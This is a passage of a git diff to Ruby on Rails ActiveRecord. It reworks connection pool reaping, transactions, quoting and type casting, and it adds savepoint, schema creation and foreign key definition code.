       attr_reader :spec, :connections, :size, :reaper
 
       # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
@@ -236,9 +234,8 @@ module ActiveRecord
 
         @spec = spec
 
-        @checkout_timeout = spec.config[:checkout_timeout] || 5
-        @dead_connection_timeout = spec.config[:dead_connection_timeout] || 5
-        @reaper  = Reaper.new self, spec.config[:reaping_frequency]
+        @checkout_timeout = (spec.config[:checkout_timeout] && spec.config[:checkout_timeout].to_f) || 5
+        @reaper = Reaper.new(self, (spec.config[:reaping_frequency] && spec.config[:reaping_frequency].to_f))
         @reaper.run
 
         # default max pool size to 5
@@ -322,9 +319,7 @@ module ActiveRecord
             checkin conn
             conn.disconnect! if conn.requires_reloading?
           end
-          @connections.delete_if do |conn|
-            conn.requires_reloading?
-          end
+          @connections.delete_if(&:requires_reloading?)
           @available.clear
           @connections.each do |conn|
             @available.add conn
@@ -361,11 +356,13 @@ module ActiveRecord
       # calling +checkout+ on this pool.
       def checkin(conn)
         synchronize do
-          conn.run_callbacks :checkin do
+          owner = conn.owner
+
+          conn._run_checkin_callbacks do
             conn.expire
           end
 
-          release conn
+          release conn, owner
 
           @available.add conn
         end
@@ -378,22 +375,28 @@ module ActiveRecord
           @connections.delete conn
           @available.delete conn
 
-          # FIXME: we might want to store the key on the connection so that removing
-          # from the reserved hash will be a little easier.
-          release conn
+          release conn, conn.owner
 
           @available.add checkout_new_connection if @available.any_waiting?
         end
       end
 
-      # Removes dead connections from the pool.  A dead connection can occur
-      # if a programmer forgets to close a connection at the end of a thread
+      # Recover lost connections for the pool.  A lost connection can occur if
+      # a programmer forgets to checkin a connection at the end of a thread
       # or a thread dies unexpectedly.
       def reap
-        synchronize do
-          stale = Time.now - @dead_connection_timeout
-          connections.dup.each do |conn|
-            if conn.in_use? && stale > conn.last_use && !conn.active?
+        stale_connections = synchronize do
+          @connections.select do |conn|
+            conn.in_use? && !conn.owner.alive?
+          end
+        end
+
+        stale_connections.each do |conn|
+          synchronize do
+            if conn.active?
+              conn.reset!
+              checkin conn
+            else
               remove conn
             end
           end
@@ -415,20 +418,17 @@ module ActiveRecord
         elsif @connections.size < @size
           checkout_new_connection
         else
+          reap
           @available.poll(@checkout_timeout)
         end
       end
 
-      def release(conn)
-        thread_id = if @reserved_connections[current_connection_id] == conn
-          current_connection_id
-        else
-          @reserved_connections.keys.find { |k|
-            @reserved_connections[k] == conn
-          }
-        end
+      def release(conn, owner)
+        thread_id = owner.object_id
 
-        @reserved_connections.delete thread_id if thread_id
+        if @reserved_connections[thread_id] == conn
+          @reserved_connections.delete thread_id
+        end
       end
 
       def new_connection
@@ -449,10 +449,14 @@ module ActiveRecord
       end
 
       def checkout_and_verify(c)
-        c.run_callbacks :checkout do
+        c._run_checkout_callbacks do
           c.verify!
         end
         c
+      rescue
+        remove c
+        c.disconnect!
+        raise
       end
     end
 
@@ -462,23 +466,44 @@ module ActiveRecord
     #
     # For example, suppose that you have 5 models, with the following hierarchy:
     #
-    #  |
-    #  +-- Book
-    #  |    |
-    #  |    +-- ScaryBook
-    #  |    +-- GoodBook
-    #  +-- Author
-    #  +-- BankAccount
+    #   class Author < ActiveRecord::Base
+    #   end
+    #
+    #   class BankAccount < ActiveRecord::Base
+    #   end
+    #
+    #   class Book < ActiveRecord::Base
+    #     establish_connection "library_db"
+    #   end
+    #
+    #   class ScaryBook < Book
+    #   end
+    #
+    #   class GoodBook < Book
+    #   end
+    #
+    # And a database.yml that looked like this:
     #
-    # Suppose that Book is to connect to a separate database (i.e. one other
-    # than the default database). Then Book, ScaryBook and GoodBook will all use
-    # the same connection pool. Likewise, Author and BankAccount will use the
-    # same connection pool. However, the connection pool used by Author/BankAccount
-    # is not the same as the one used by Book/ScaryBook/GoodBook.
+    #   development:
+    #     database: my_application
+    #     host: localhost
     #
-    # Normally there is only a single ConnectionHandler instance, accessible via
-    # ActiveRecord::Base.connection_handler. Active Record models use this to
-    # determine the connection pool that they should use.
+    #   library_db:
+    #     database: library
+    #     host: some.library.org
+    #
+    # Your primary database in the development environment is "my_application"
+    # but the Book model connects to a separate database called "library_db"
+    # (this can even be a database on a different machine).
+    #
+    # Book, ScaryBook and GoodBook will all use the same connection pool to
+    # "library_db" while Author, BankAccount, and any other models you create
+    # will use the default connection pool to "my_application".
+    #
+    # The various connection pools are managed by a single instance of
+    # ConnectionHandler accessible via ActiveRecord::Base.connection_handler.
+    # All Active Record models use this handler to determine the connection pool that they
+    # should use.
     class ConnectionHandler
       def initialize
         # These caches are keyed by klass.name, NOT klass. Keying them by klass
@@ -495,14 +520,7 @@ module ActiveRecord
       def connection_pool_list
         owner_to_pool.values.compact
       end
-
-      def connection_pools
-        ActiveSupport::Deprecation.warn(
-          "In the next release, this will return the same as #connection_pool_list. " \
-          "(An array of pools, rather than a hash mapping specs to pools.)"
-        )
-        Hash[connection_pool_list.map { |pool| [pool.spec, pool] }]
-      end
+      alias :connection_pools :connection_pool_list
 
       def establish_connection(owner, spec)
         @class_to_pool.clear
@@ -538,7 +556,10 @@ module ActiveRecord
       # for (not necessarily the current class).
       def retrieve_connection(klass) #:nodoc:
         pool = retrieve_connection_pool(klass)
-        (pool && pool.connection) or raise ConnectionNotEstablished
+        raise ConnectionNotEstablished, "No connection pool for #{klass}" unless pool
+        conn = pool.connection
+        raise ConnectionNotEstablished, "No connection for #{klass} in connection pool" unless conn
+        conn
       end
 
       # Returns true if a connection that's accessible to this class has
@@ -616,7 +637,7 @@ module ActiveRecord
       end
 
       def call(env)
-        testing = env.key?('rack.test')
+        testing = env['rack.test']
 
         response = @app.call(env)
         response[2] = ::Rack::BodyProxy.new(response[2]) do
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 32244b1755..42ad285340 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -9,17 +9,26 @@ module ActiveRecord
       # Converts an arel AST to SQL
       def to_sql(arel, binds = [])
         if arel.respond_to?(:ast)
-          binds = binds.dup
-          visitor.accept(arel.ast) do
-            quote(*binds.shift.reverse)
-          end
+          collected = visitor.accept(arel.ast, collector)
+          collected.compile(binds.dup, self)
         else
           arel
         end
       end
 
+      # This is used in the StatementCache object. It returns an object that
+      # can be used to query the database repeatedly.
+      def cacheable_query(arel) # :nodoc:
+        if prepared_statements
+          ActiveRecord::StatementCache.query visitor, arel.ast
+        else
+          ActiveRecord::StatementCache.partial_query visitor, arel.ast, collector
+        end
+      end
+
       # Returns an ActiveRecord::Result instance.
       def select_all(arel, name = nil, binds = [])
+        arel, binds = binds_from_relation arel, binds
         select(to_sql(arel, binds), name, binds)
       end
 
@@ -39,13 +48,13 @@ module ActiveRecord
       # Returns an array of the values of the first column in a select:
       #   select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
       def select_values(arel, name = nil)
-        select_rows(to_sql(arel, []), name)
-          .map { |v| v[0] }
+        arel, binds = binds_from_relation arel, []
+        select_rows(to_sql(arel, binds), name, binds).map(&:first)
       end
 
       # Returns an array of arrays containing the field values.
       # Order is the same as that returned by +columns+.
-      def select_rows(sql, name = nil)
+      def select_rows(sql, name = nil, binds = [])
       end
       undef_method :select_rows
 
@@ -74,6 +83,11 @@ module ActiveRecord
         exec_query(sql, name, binds)
       end
 
+      # Executes the truncate statement.
+      def truncate(table_name, name = nil)
+        raise NotImplementedError
+      end
+
       # Executes update +sql+ statement in the context of this connection using
       # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
@@ -184,68 +198,42 @@ module ActiveRecord
       # * You are creating a nested (savepoint) transaction
       #
       # The mysql, mysql2 and postgresql adapters support setting the transaction
-      # isolation level. However, support is disabled for mysql versions below 5,
+      # isolation level. However, support is disabled for MySQL versions below 5,
       # because they are affected by a bug[http://bugs.mysql.com/bug.php?id=39170]
       # which means the isolation level gets persisted outside the transaction.
-      def transaction(options = {})
-        options.assert_valid_keys :requires_new, :joinable, :isolation
-
-        if !options[:requires_new] && current_transaction.joinable?
-          if options[:isolation]
+      def transaction(requires_new: nil, isolation: nil, joinable: true)
+        if !requires_new && current_transaction.joinable?
+          if isolation
             raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
           end
-
           yield
         else
-          within_new_transaction(options) { yield }
+          transaction_manager.within_new_transaction(isolation: isolation, joinable: joinable) { yield }
         end
       rescue ActiveRecord::Rollback
         # rollbacks are silently swallowed
       end
 
-      def within_new_transaction(options = {}) #:nodoc:
-        transaction = begin_transaction(options)
-        yield
-      rescue Exception => error
-        rollback_transaction if transaction
-        raise
-      ensure
-        begin
-          commit_transaction unless error
-        rescue Exception
-          rollback_transaction
-          raise
-        end
-      end
+      attr_reader :transaction_manager #:nodoc:
 
-      def current_transaction #:nodoc:
-        @transaction
-      end
+      delegate :within_new_transaction, :open_transactions, :current_transaction, :begin_transaction, :commit_transaction, :rollback_transaction, to: :transaction_manager
 
       def transaction_open?
-        @transaction.open?
-      end
-
-      def begin_transaction(options = {}) #:nodoc:
-        @transaction = @transaction.begin(options)
-      end
-
-      def commit_transaction #:nodoc:
-        @transaction = @transaction.commit
-      end
-
-      def rollback_transaction #:nodoc:
-        @transaction = @transaction.rollback
+        current_transaction.open?
       end
 
       def reset_transaction #:nodoc:
-        @transaction = ClosedTransaction.new(self)
+        @transaction_manager = TransactionManager.new(self)
       end
 
       # Register a record with the current transaction so that its after_commit and after_rollback callbacks
       # can be called.
       def add_transaction_record(record)
-        @transaction.add_record(record)
+        current_transaction.add_record(record)
+      end
+
+      def transaction_state
+        current_transaction.state
       end
 
       # Begins the transaction (and turns off auto-committing).
@@ -272,7 +260,18 @@ module ActiveRecord
 
       # Rolls back the transaction (and turns on auto-committing). Must be
       # done if the transaction block raises an exception or returns false.
-      def rollback_db_transaction() end
+      def rollback_db_transaction
+        exec_rollback_db_transaction
+      end
+
+      def exec_rollback_db_transaction() end #:nodoc:
+
+      def rollback_to_savepoint(name = nil)
+        exec_rollback_to_savepoint(name)
+      end
+
+      def exec_rollback_to_savepoint(name = nil) #:nodoc:
+      end
 
       def default_sequence_name(table, column)
         nil
@@ -288,10 +287,17 @@ module ActiveRecord
       def insert_fixture(fixture, table_name)
         columns = schema_cache.columns_hash(table_name)
 
-        key_list   = []
-        value_list = fixture.map do |name, value|
-          key_list << quote_column_name(name)
-          quote(value, columns[name])
+        binds = fixture.map do |name, value|
+          type = lookup_cast_type_from_column(columns[name])
+          Relation::QueryAttribute.new(name, value, type)
+        end
+        key_list = fixture.keys.map { |name| quote_column_name(name) }
+        value_list = prepare_binds_for_database(binds).map do |value|
+          begin
+            quote(value)
+          rescue TypeError
+            quote(YAML.dump(value))
+          end
         end
 
         execute "INSERT INTO #{quote_table_name(table_name)} (#{key_list.join(', ')}) VALUES (#{value_list.join(', ')})", 'Fixture Insert'
@@ -301,14 +307,6 @@ module ActiveRecord
         "DEFAULT VALUES"
       end
 
-      def case_sensitive_equality_operator
-        "="
-      end
-
-      def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
-        "WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
-      end
-
       # Sanitizes the given LIMIT parameter in order to prevent SQL injection.
       #
       # The +limit+ may be anything that can evaluate to a string via #to_s. It
@@ -321,7 +319,7 @@ module ActiveRecord
       def sanitize_limit(limit)
         if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
           limit
-        elsif limit.to_s =~ /,/
+        elsif limit.to_s.include?(',')
           Arel.sql limit.to_s.split(',').map{ |i| Integer(i) }.join(',')
         else
           Integer(limit)
@@ -329,8 +327,8 @@ module ActiveRecord
       end
 
       # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
-      # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in
-      # an UPDATE statement, so in the mysql adapters we redefine this to do that.
+      # on MySQL (even when aliasing the tables), but MySQL allows using JOIN directly in
+      # an UPDATE statement, so in the MySQL adapters we redefine this to do that.
       def join_to_update(update, select) #:nodoc:
         key = update.key
         subselect = subquery_for(key, select)
@@ -346,7 +344,7 @@ module ActiveRecord
 
       protected
 
-        # Return a subquery for the given key using the join information.
+        # Returns a subquery for the given key using the join information.
         def subquery_for(key, select)
           subselect = select.clone
           subselect.projections = [key]
@@ -355,8 +353,9 @@ module ActiveRecord
 
         # Returns an ActiveRecord::Result instance.
         def select(sql, name = nil, binds = [])
+          exec_query(sql, name, binds)
         end
-        undef_method :select
+
 
         # Returns the last auto-generated ID from the affected table.
         def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
@@ -377,11 +376,18 @@ module ActiveRecord
         def sql_for_insert(sql, pk, id_value, sequence_name, binds)
           [sql, binds]
         end
-  
+
         def last_inserted_id(result)
           row = result.rows.first
           row && row.first
         end
+
+        def binds_from_relation(relation, binds)
+          if relation.is_a?(Relation) && binds.empty?
+            relation, binds = relation.arel, relation.bound_attributes
+          end
+          [relation, binds]
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 7aae297cdc..5e27cfe507 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -3,16 +3,16 @@ module ActiveRecord
     module QueryCache
       class << self
         def included(base) #:nodoc:
-          dirties_query_cache base, :insert, :update, :delete
+          dirties_query_cache base, :insert, :update, :delete, :rollback_to_savepoint, :rollback_db_transaction
         end
 
         def dirties_query_cache(base, *method_names)
           method_names.each do |method_name|
             base.class_eval <<-end_code, __FILE__, __LINE__ + 1
-              def #{method_name}(*)                         # def update_with_query_dirty(*)
-                clear_query_cache if @query_cache_enabled   #   clear_query_cache if @query_cache_enabled
-                super                                       #   super
-              end                                           # end
+              def #{method_name}(*)
+                clear_query_cache if @query_cache_enabled
+                super
+              end
             end_code
           end
         end
@@ -31,8 +31,8 @@ module ActiveRecord
         old, @query_cache_enabled = @query_cache_enabled, true
         yield
       ensure
-        clear_query_cache
         @query_cache_enabled = old
+        clear_query_cache unless @query_cache_enabled
       end
 
       def enable_query_cache!
@@ -63,6 +63,7 @@ module ActiveRecord
 
       def select_all(arel, name = nil, binds = [])
         if @query_cache_enabled && !locked?(arel)
+          arel, binds = binds_from_relation arel, binds
           sql = to_sql(arel, binds)
           cache_sql(sql, binds) { super(sql, name, binds) }
         else
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index 552a22d28a..947e11c7bf 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -9,72 +9,71 @@ module ActiveRecord
         # records are quoted as their primary key
         return value.quoted_id if value.respond_to?(:quoted_id)
 
-        case value
-        when String, ActiveSupport::Multibyte::Chars
-          value = value.to_s
-          return "'#{quote_string(value)}'" unless column
-
-          case column.type
-          when :integer then value.to_i.to_s
-          when :float then value.to_f.to_s
-          else
-            "'#{quote_string(value)}'"
-          end
-
-        when true, false
-          if column && column.type == :integer
-            value ? '1' : '0'
-          else
-            value ? quoted_true : quoted_false
-          end
-          # BigDecimals need to be put in a non-normalized form and quoted.
-        when nil        then "NULL"
-        when BigDecimal then value.to_s('F')
-        when Numeric, ActiveSupport::Duration then value.to_s
-        when Date, Time then "'#{quoted_date(value)}'"
-        when Symbol     then "'#{quote_string(value.to_s)}'"
-        when Class      then "'#{value.to_s}'"
-        else
-          "'#{quote_string(YAML.dump(value))}'"
+        if column
+          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+            Passing a column to `quote` has been deprecated. It is only used
+            for type casting, which should be handled elsewhere. See
+            https://github.com/rails/arel/commit/6160bfbda1d1781c3b08a33ec4955f170e95be11
+            for more information.
+          MSG
+          value = type_cast_from_column(column, value)
         end
+
+        _quote(value)
       end
 
       # Cast a +value+ to a type that the database understands. For example,
       # SQLite does not understand dates, so this method will convert a Date
       # to a String.
-      def type_cast(value, column)
-        return value.id if value.respond_to?(:quoted_id)
+      def type_cast(value, column = nil)
+        if value.respond_to?(:quoted_id) && value.respond_to?(:id)
+          return value.id
+        end
 
-        case value
-        when String, ActiveSupport::Multibyte::Chars
-          value = value.to_s
-          return value unless column
-
-          case column.type
-          when :integer then value.to_i
-          when :float then value.to_f
-          else
-            value
-          end
+        if column
+          value = type_cast_from_column(column, value)
+        end
 
-        when true, false
-          if column && column.type == :integer
-            value ? 1 : 0
-          else
-            value ? 't' : 'f'
-          end
-          # BigDecimals need to be put in a non-normalized form and quoted.
-        when nil        then nil
-        when BigDecimal then value.to_s('F')
-        when Numeric    then value
-        when Date, Time then quoted_date(value)
-        when Symbol     then value.to_s
+        _type_cast(value)
+      rescue TypeError
+        to_type = column ? " to #{column.type}" : ""
+        raise TypeError, "can't cast #{value.class}#{to_type}"
+      end
+
+      # If you are having to call this function, you are likely doing something
+      # wrong. The column does not have sufficient type information if the user
+      # provided a custom type on the class level either explicitly (via
+      # `attribute`) or implicitly (via `serialize`,
+      # `time_zone_aware_attributes`). In almost all cases, the sql type should
+      # only be used to change quoting behavior, when the primitive to
+      # represent the type doesn't sufficiently reflect the differences
+      # (varchar vs binary) for example. The type used to get this primitive
+      # should have been provided before reaching the connection adapter.
+      def type_cast_from_column(column, value) # :nodoc:
+        if column
+          type = lookup_cast_type_from_column(column)
+          type.type_cast_for_database(value)
         else
-          to_type = column ? " to #{column.type}" : ""
-          raise TypeError, "can't cast #{value.class}#{to_type}"
+          value
         end
       end
 
+      # See docs for +type_cast_from_column+
+      def lookup_cast_type_from_column(column) # :nodoc:
+        lookup_cast_type(column.sql_type)
+      end
+
+      def fetch_type_metadata(sql_type)
+        cast_type = lookup_cast_type(sql_type)
+        SqlTypeMetadata.new(
+          sql_type: sql_type,
+          type: cast_type.type,
+          limit: cast_type.limit,
+          precision: cast_type.precision,
+          scale: cast_type.scale,
+        )
+      end
+
       # Quotes a string, escaping any ' (single quote) and \ (backslash)
       # characters.
       def quote_string(s)
@@ -97,20 +96,33 @@ module ActiveRecord
       # This works for mysql and mysql2 where table.column can be used to
       # resolve ambiguity.
       #
-      # We override this in the sqlite and postgresql adapters to use only
+      # We override this in the sqlite3 and postgresql adapters to use only
       # the column name (as per syntax requirements).
       def quote_table_name_for_assignment(table, attr)
         quote_table_name("#{table}.#{attr}")
       end
 
+      def quote_default_expression(value, column) #:nodoc:
+        value = lookup_cast_type(column.sql_type).type_cast_for_database(value)
+        quote(value)
+      end
+
       def quoted_true
         "'t'"
       end
 
+      def unquoted_true
+        't'
+      end
+
       def quoted_false
         "'f'"
       end
 
+      def unquoted_false
+        'f'
+      end
+
       def quoted_date(value)
         if value.acts_like?(:time)
           zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
@@ -120,7 +132,75 @@ module ActiveRecord
           end
         end
 
-        value.to_s(:db)
+        result = value.to_s(:db)
+        if value.respond_to?(:usec) && value.usec > 0
+          "#{result}.#{sprintf("%06d", value.usec)}"
+        else
+          result
+        end
+      end
+
+      def prepare_binds_for_database(binds) # :nodoc:
+        binds.map(&:value_for_database)
+      end
+
+      def type_for_attribute_options(type_name, **options)
+        klass = type_classes_with_standard_constructor.fetch(type_name, Type::Value)
+        klass.new(**options)
+      end
+
+      private
+
+      def type_classes_with_standard_constructor
+        {
+          big_integer: Type::BigInteger,
+          binary: Type::Binary,
+          boolean: Type::Boolean,
+          date: Type::Date,
+          date_time: Type::DateTime,
+          decimal: Type::Decimal,
+          float: Type::Float,
+          integer: Type::Integer,
+          string: Type::String,
+          text: Type::Text,
+          time: Type::Time,
+        }
+      end
+
+      def types_which_need_no_typecasting
+        [nil, Numeric, String]
+      end
+
+      def _quote(value)
+        case value
+        when String, ActiveSupport::Multibyte::Chars, Type::Binary::Data
+          "'#{quote_string(value.to_s)}'"
+        when true       then quoted_true
+        when false      then quoted_false
+        when nil        then "NULL"
+        # BigDecimals need to be put in a non-normalized form and quoted.
+        when BigDecimal then value.to_s('F')
+        when Numeric, ActiveSupport::Duration then value.to_s
+        when Date, Time then "'#{quoted_date(value)}'"
+        when Symbol     then "'#{quote_string(value.to_s)}'"
+        when Class      then "'#{value}'"
+        else raise TypeError, "can't quote #{value.class.name}"
+        end
+      end
+
+      def _type_cast(value)
+        case value
+        when Symbol, ActiveSupport::Multibyte::Chars, Type::Binary::Data
+          value.to_s
+        when true       then unquoted_true
+        when false      then unquoted_false
+        # BigDecimals need to be put in a non-normalized form and quoted.
+        when BigDecimal then value.to_s('F')
+        when Date, Time then quoted_date(value)
+        when *types_which_need_no_typecasting
+          value
+        else raise TypeError
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
new file mode 100644
index 0000000000..c0662f8473
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module Savepoints #:nodoc:
+      def supports_savepoints?
+        true
+      end
+
+      def create_savepoint(name = current_savepoint_name)
+        execute("SAVEPOINT #{name}")
+      end
+
+      def exec_rollback_to_savepoint(name = current_savepoint_name)
+        execute("ROLLBACK TO SAVEPOINT #{name}")
+      end
+
+      def release_savepoint(name = current_savepoint_name)
+        execute("RELEASE SAVEPOINT #{name}")
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
new file mode 100644
index 0000000000..bc8fa9b6cf
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -0,0 +1,123 @@
+require 'active_support/core_ext/string/strip'
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AbstractAdapter
+      class SchemaCreation # :nodoc:
+        def initialize(conn)
+          @conn = conn
+          @cache = {}
+        end
+
+        def accept(o)
+          m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+          send m, o
+        end
+
+        def visit_AddColumn(o)
+          "ADD #{accept(o)}"
+        end
+
+        private
+
+          def visit_AlterTable(o)
+            sql = "ALTER TABLE #{quote_table_name(o.name)} "
+            sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
+            sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(' ')
+            sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(' ')
+          end
+
+          def visit_ColumnDefinition(o)
+            o.sql_type ||= type_to_sql(o.type, o.limit, o.precision, o.scale)
+            column_sql = "#{quote_column_name(o.name)} #{o.sql_type}"
+            add_column_options!(column_sql, column_options(o)) unless o.type == :primary_key
+            column_sql
+          end
+
+          def visit_TableDefinition(o)
+            create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
+            create_sql << "#{quote_table_name(o.name)} "
+            create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as
+            create_sql << "#{o.options}"
+            create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+            create_sql
+          end
+
+          def visit_AddForeignKey(o)
+            sql = <<-SQL.strip_heredoc
+              ADD CONSTRAINT #{quote_column_name(o.name)}
+              FOREIGN KEY (#{quote_column_name(o.column)})
+                REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)})
+            SQL
+            sql << " #{action_sql('DELETE', o.on_delete)}" if o.on_delete
+            sql << " #{action_sql('UPDATE', o.on_update)}" if o.on_update
+            sql
+          end
+
+          def visit_DropForeignKey(name)
+            "DROP CONSTRAINT #{quote_column_name(name)}"
+          end
+
+          def column_options(o)
+            column_options = {}
+            column_options[:null] = o.null unless o.null.nil?
+            column_options[:default] = o.default unless o.default.nil?
+            column_options[:column] = o
+            column_options[:first] = o.first
+            column_options[:after] = o.after
+            column_options[:auto_increment] = o.auto_increment
+            column_options[:primary_key] = o.primary_key
+            column_options
+          end
+
+          def quote_column_name(name)
+            @conn.quote_column_name name
+          end
+
+          def quote_table_name(name)
+            @conn.quote_table_name name
+          end
+
+          def type_to_sql(type, limit, precision, scale)
+            @conn.type_to_sql type.to_sym, limit, precision, scale
+          end
+
+          def add_column_options!(sql, options)
+            sql << " DEFAULT #{quote_default_expression(options[:default], options[:column])}" if options_include_default?(options)
+            # must explicitly check for :null to allow change_column to work on migrations
+            if options[:null] == false
+              sql << " NOT NULL"
+            end
+            if options[:auto_increment] == true
+              sql << " AUTO_INCREMENT"
+            end
+            if options[:primary_key] == true
+              sql << " PRIMARY KEY"
+            end
+            sql
+          end
+
+          def quote_default_expression(value, column)
+            @conn.quote_default_expression(value, column)
+          end
+
+          def options_include_default?(options)
+            options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+          end
+
+          def action_sql(action, dependency)
+            case dependency
+            when :nullify then "ON #{action} SET NULL"
+            when :cascade  then "ON #{action} CASCADE"
+            when :restrict then "ON #{action} RESTRICT"
+            else
+              raise ArgumentError, <<-MSG.strip_heredoc
+                '#{dependency}' is not supported for :on_update or :on_delete.
+                Supported values are: :nullify, :cascade, :restrict
+              MSG
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 063b19871a..8cd4b8e5b2 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -15,14 +15,123 @@ module ActiveRecord
     # are typically created by methods in TableDefinition, and added to the
     # +columns+ attribute of said TableDefinition object, in order to be used
     # for generating a number of table creation or table changing SQL statements.
-    class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key) #:nodoc:
+    class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :auto_increment, :primary_key, :sql_type) #:nodoc:
 
       def primary_key?
         primary_key || type.to_sym == :primary_key
       end
     end
 
-    class ChangeColumnDefinition < Struct.new(:column, :type, :options) #:nodoc:
+    class ChangeColumnDefinition < Struct.new(:column, :name) #:nodoc:
+    end
+
+    class ForeignKeyDefinition < Struct.new(:from_table, :to_table, :options) #:nodoc:
+      def name
+        options[:name]
+      end
+
+      def column
+        options[:column]
+      end
+
+      def primary_key
+        options[:primary_key] || default_primary_key
+      end
+
+      def on_delete
+        options[:on_delete]
+      end
+
+      def on_update
+        options[:on_update]
+      end
+
+      def custom_primary_key?
+        options[:primary_key] != default_primary_key
+      end
+
+      private
+      def default_primary_key
+        "id"
+      end
+    end
+
+    class ReferenceDefinition # :nodoc:
+      def initialize(
+        name,
+        polymorphic: false,
+        index: false,
+        foreign_key: false,
+        type: :integer,
+        **options
+      )
+        @name = name
+        @polymorphic = polymorphic
+        @index = index
+        @foreign_key = foreign_key
+        @type = type
+        @options = options
+
+        if polymorphic && foreign_key
+          raise ArgumentError, "Cannot add a foreign key to a polymorphic relation"
+        end
+      end
+
+      def add_to(table)
+        columns.each do |column_options|
+          table.column(*column_options)
+        end
+
+        if index
+          table.index(column_names, index_options)
+        end
+
+        if foreign_key
+          table.foreign_key(foreign_table_name, foreign_key_options)
+        end
+      end
+
+      protected
+
+      attr_reader :name, :polymorphic, :index, :foreign_key, :type, :options
+
+      private
+
+      def as_options(value, default = {})
+        if value.is_a?(Hash)
+          value
+        else
+          default
+        end
+      end
+
+      def polymorphic_options
+        as_options(polymorphic, options)
+      end
+
+      def index_options
+        as_options(index)
+      end
+
+      def foreign_key_options
+        as_options(foreign_key)
+      end
+
+      def columns
+        result = [["#{name}_id", type, options]]
+        if polymorphic
+          result.unshift(["#{name}_type", :string, polymorphic_options])
+        end
+        result
+      end
+
+      def column_names
+        columns.map(&:first)
+      end
+
+      def foreign_table_name
+        name.to_s.pluralize
+      end
     end
 
     # Represents the schema of an SQL table in an abstract way. This class
@@ -49,14 +158,16 @@ module ActiveRecord
       # An array of ColumnDefinition objects, representing the column changes
       # that have been defined.
       attr_accessor :indexes
-      attr_reader :name, :temporary, :options
+      attr_reader :name, :temporary, :options, :as, :foreign_keys
 
-      def initialize(types, name, temporary, options)
+      def initialize(types, name, temporary, options, as = nil)
         @columns_hash = {}
         @indexes = {}
+        @foreign_keys = {}
         @native = types
         @temporary = temporary
         @options = options
+        @as = as
         @name = name
       end
 
@@ -78,8 +189,8 @@ module ActiveRecord
       # which is one of the following:
       # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
       # <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>,
-      # <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
-      # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.
+      # <tt>:datetime</tt>, <tt>:time</tt>, <tt>:date</tt>,
+      # <tt>:binary</tt>, <tt>:boolean</tt>.
       #
       # You may use a type not in this list as long as it is supported by your
       # database (for example, "polygon" in MySQL), but this will not be database
@@ -98,9 +209,11 @@ module ActiveRecord
       #   Specifies the precision for a <tt>:decimal</tt> column.
       # * <tt>:scale</tt> -
       #   Specifies the scale for a <tt>:decimal</tt> column.
+      # * <tt>:index</tt> -
+      #   Create an index for the column. Can be either <tt>true</tt> or an options hash.
       #
-      # For clarity's sake: the precision is the number of significant digits,
-      # while the scale is the number of digits that can be stored following
+      # Note: The precision is the total number of significant digits
+      # and the scale is the number of digits that can be stored following
